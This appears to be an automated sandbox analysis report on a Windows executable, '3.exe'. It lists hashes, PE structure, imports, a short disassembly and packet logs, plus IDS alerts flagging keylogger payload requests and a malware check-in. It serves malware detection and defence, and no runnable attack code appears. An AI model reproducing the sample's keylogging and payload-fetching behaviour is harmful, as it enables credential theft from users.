Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........hWA...A...A...A.......H..B...H..C...H..B....B..E....B..@....#..G....#..o....#..@...RichA...................PE..d......c.........."......R..........{.'........@..............................(...........`.................................................8...P............P...............p(......d(..............................c(..............@...............................text....;.......................... ..h.rdata..x@...P......................@..H.data...x...........................@....pdata.......P......................@..HINIT....f....p...................... ..`.vvd0...............................`..h.vvd1...............................`....reloc.......p(.....................@..B................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	modified
Size (bytes):	338
Entropy (8bit):	3.4175458104806378
Encrypted:	false
SSDEEP:	6:kK9/r8l/JFN+SkQlPlEGYRMY9z+s3Ql2DUevat:V/rpkPlE99SCQl2DUevat
MD5:	BA6A11B346AE170F92D8ACFEB806CD66
SHA1:	A7A3DA9B19DD300A5F044785B909B20C7D0ED53D
SHA-256:	A28A5E6EED13B99D3FFDF675998181502312E82F578AE2EF753F171BBFFBB898
SHA-512:	4A9BD9E7826F1B677DF4F067952CEF53BF10F5D2A3C1FE192250E33EE643A92526F60D9676720B87805558BE728FA4143A46DD20E50D3097A1A78EE1C51BA073
Malicious:	false
Preview:	p...... ......../.......(................................................:ai.... .........p.........$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".7.4.6.7.8.7.a.3.f.0.d.9.1.:.0."...

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416728318122612
Encrypted:	false
SSDEEP:	6144:Tcifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuNQ5+:Ii58oSWIZBk2MM6AFBWo
MD5:	3FD3593A3F9AB0D463FA3CF54A8EE91F
SHA1:	58A7689B3BD9F6FEC7BE5D5530AEF24300206CD3
SHA-256:	CCB96C4CA346CC9214967B2AAB099343901648C5F587FA4E5FD08C5C0C99377A
SHA-512:	AEB2E4B5FF919AD8364F734E6EC5BB29E2AAA1A733695E231AABABEEFDF925F46AB479C43B8131D782ACD3F234FD177A41A7026804EDCC47BDE550C7E49E1E62
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmFC..)................................................................................................................................................................................................................................................................................................................................................^..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.819168754915328
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	3.exe
File size:	22'382'592 bytes
MD5:	ce31c7fbda3ec7956327a742c68da537
SHA1:	53b5a92eed85fd08dae67978abfe0e8254c15451
SHA256:	a8e9838eef63bfca0af5e1d9704062c36c168d44a06d53c4d0560f5389f2a760
SHA512:	8f93007ae06e81438a307794383b2ac609c117ffb9693243da55eb549c4500b1bfcca89bdda5dd1e306f92c076dc1aba459e3bb6a3cff0d23d7c7b9237530734
SSDEEP:	393216:wfVPhYAAOfCx8hV7VGDEBm7GeXdXMOII/Ymr5Y1QNV5EROx/pr8FxYS0D/Eq3uej:AY2f9IQB2GzMvFYunhSxYfD/Eq+ej
TLSH:	45373332BB91403AE2726B3D4C66B3B8D93CBE512D64395E36D92D8C9F7D2816D142C3
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	1a828c9c4c0ece0f

Static PE Info

General

Entrypoint:	0x49ab80
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	332f7ce65ead0adfb3d35147033aabe9

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0049A778h
call 00007F32F550D10Dh
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F32F5560A55h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, 0049ABE0h
call 00007F32F5560654h
mov ecx, dword ptr [0049DBDCh]
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00496590h]
call 00007F32F5560A44h
mov eax, dword ptr [0049DBCCh]
mov eax, dword ptr [eax]
call 00007F32F5560AB8h
call 00007F32F550ABEBh
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2a42	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb0000	0x14adf30	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa5000	0xa980	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0xa4018	0x21	.rdata
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x99bec	0x99c00	33fbe30e8a64654287edd1bf05ae7c8c	False	0.5141641260162602	data	6.572957870355296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9b000	0x2e54	0x3000	1f5e19e7d20c1d128443d738ac7bc610	False	0.453125	data	4.854620797809023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x11e5	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2a42	0x2c00	21ff53180b390dc06e3a1adf0e57a073	False	0.3537819602272727	data	4.919333216027082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x10	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x39	0x200	a92cf494c617731a527994013429ad97	False	0.119140625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.7846201577093705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0xa980	0xaa00	dcd1b1c3f3d28d444920211170d1e8e6	False	0.5899816176470588	data	6.674124985579511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xb0000	0x14adf30	0x14ae000	9501893228b3621d6cf4f66f2754579d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xb0dc8	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0xb0efc	0x134	data			0.4642857142857143
RT_CURSOR	0xb1030	0x134	data			0.4805194805194805
RT_CURSOR	0xb1164	0x134	data			0.38311688311688313
RT_CURSOR	0xb1298	0x134	data			0.36038961038961037
RT_CURSOR	0xb13cc	0x134	data			0.4090909090909091
RT_CURSOR	0xb1500	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0xb1634	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1804	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0xb19e8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0xb1bb8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0xb1d88	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0xb1f58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0xb2128	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0xb22f8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb24c8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0xb2698	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0xb2868	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_ICON	0xb2950	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.726782363977486
RT_ICON	0xb39f8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 8192	Turkish	Turkey	0.2101313320825516
RT_DIALOG	0xb4aa0	0x52	data			0.7682926829268293
RT_STRING	0xb4af4	0x358	data			0.3796728971962617
RT_STRING	0xb4e4c	0x428	data			0.37406015037593987
RT_STRING	0xb5274	0x3a4	data			0.40879828326180256
RT_STRING	0xb5618	0x3bc	data			0.33472803347280333
RT_STRING	0xb59d4	0x2d4	data			0.4654696132596685
RT_STRING	0xb5ca8	0x334	data			0.42804878048780487
RT_STRING	0xb5fdc	0x42c	data			0.42602996254681647
RT_STRING	0xb6408	0x1f0	data			0.4213709677419355
RT_STRING	0xb65f8	0x1c0	data			0.44419642857142855
RT_STRING	0xb67b8	0xdc	data			0.6
RT_STRING	0xb6894	0x320	data			0.45125
RT_STRING	0xb6bb4	0xd8	data			0.5879629629629629
RT_STRING	0xb6c8c	0x118	data			0.5678571428571428
RT_STRING	0xb6da4	0x268	data			0.4707792207792208
RT_STRING	0xb700c	0x3f8	data			0.37598425196850394
RT_STRING	0xb7404	0x378	data			0.41103603603603606
RT_STRING	0xb777c	0x380	data			0.35379464285714285
RT_STRING	0xb7afc	0x374	data			0.4061085972850679
RT_STRING	0xb7e70	0xe0	data			0.5535714285714286
RT_STRING	0xb7f50	0xbc	data			0.526595744680851
RT_STRING	0xb800c	0x368	data			0.40940366972477066
RT_STRING	0xb8374	0x3fc	data			0.34901960784313724
RT_STRING	0xb8770	0x2fc	data			0.36649214659685864
RT_STRING	0xb8a6c	0x354	data			0.31572769953051644
RT_RCDATA	0xb8dc0	0x44	data			0.8676470588235294
RT_RCDATA	0xb8e04	0x10	data			1.5
RT_RCDATA	0xb8e14	0x149c200	PE32 executable (GUI) Intel 80386, for MS Windows			0.9671707153320312
RT_RCDATA	0x1555014	0x3	ASCII text, with no line terminators	Turkish	Turkey	3.6666666666666665
RT_RCDATA	0x1555018	0x3c00	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	Turkish	Turkey	0.54296875
RT_RCDATA	0x1558c18	0x64c	data			0.5998759305210918
RT_RCDATA	0x1559264	0x153	Delphi compiled form 'TFormVir'			0.7522123893805309
RT_RCDATA	0x15593b8	0x47d3	Microsoft Excel 2007+	Turkish	Turkey	0.8675150921846957
RT_GROUP_CURSOR	0x155db8c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x155dba0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x155dbb4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x155dbc8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x155dbdc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x155dbf0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x155dc04	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x155dc18	0x14	data	Turkish	Turkey	1.1
RT_VERSION	0x155dc2c	0x304	data	Turkish	Turkey	0.42875647668393785

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, SetCurrentDirectoryA, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCurrentDirectoryA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, ExitThread, CreateThread, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegOpenKeyExA, RegNotifyChangeKeyValue, RegFlushKey, RegDeleteValueA, RegCreateKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, AdjustTokenPrivileges
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, WaitForMultipleObjects, VirtualQuery, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TerminateProcess, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResumeThread, ResetEvent, RemoveDirectoryA, ReadFile, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileA, MapViewOfFile, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTimeZoneInformation, GetTickCount, GetThreadLocale, GetTempPathA, GetTempFileNameA, GetSystemInfo, GetSystemDirectoryA, GetStringTypeExA, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeThread, GetDriveTypeA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetComputerNameA, GetCPInfo, GetACP, FreeResource, InterlockedIncrement, InterlockedExchange, InterlockedDecrement, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, EndUpdateResourceA, DeleteFileA, DeleteCriticalSection, CreateThread, CreateProcessA, CreatePipe, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CloseHandle, BeginUpdateResourceA
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, ToAsciiEx, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MapWindowPoints, MapVirtualKeyExA, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextLengthA, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
ole32.dll	CLSIDFromString
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CLSIDFromProgID, CoCreateInstance, CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteExA, ExtractIconExW
wininet.dll	InternetGetConnectedState, InternetReadFile, InternetOpenUrlA, InternetOpenA, InternetCloseHandle
shell32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHGetMalloc, SHGetDesktopFolder
advapi32.dll	OpenSCManagerA, CloseServiceHandle
wsock32.dll	WSACleanup, WSAStartup, gethostname, gethostbyname, inet_ntoa
netapi32.dll	Netbios

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-08-05T12:00:32.094980+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49733	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:36.503803+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49752	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:40.941092+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49788	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:26.763596+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49703	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:28.826210+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49718	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:40.941049+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49787	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:41.984304+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49794	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:34.814004+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49744	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:27.789343+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49711	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:26.741637+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49704	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:39.926107+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49759	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:39.912389+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49756	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:43.376557+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49797	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:43.346025+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49798	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:36.535678+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49753	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:33.740729+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49740	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:42.002730+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49795	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:33.732047+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49739	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:44.422999+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49804	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:27.804242+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49713	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:30.456088+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49727	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:28.861082+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49720	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:32.124055+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49734	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:27.245017+0200	TCP	2832617	ETPRO MALWARE W32.Bloat-A Checkin	49709	80	192.168.2.7	69.42.215.252
2024-08-05T12:00:30.456240+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49726	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:44.393997+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49805	443	192.168.2.7	142.250.185.174
2024-08-05T12:00:34.792869+0200	TCP	2044887	ET MALWARE Win32/SnakeKeyLogger Payload Request (GET)	49745	443	192.168.2.7	142.250.185.174

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 12:00:24.982213020 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:24.982260942 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:24.982276917 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:24.982290030 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:24.986599922 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:24.986638069 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.176312923 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.176323891 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.176347017 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.176359892 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.814903021 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.815216064 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.816018105 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.816023111 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.823725939 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.823725939 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.823762894 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.823779106 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:25.840643883 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:25.840643883 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.420414925 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.420430899 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.420732975 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.423953056 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.439261913 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.439814091 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.439846039 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.440922022 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.446958065 CEST	49703	443	192.168.2.7	142.250.185.174
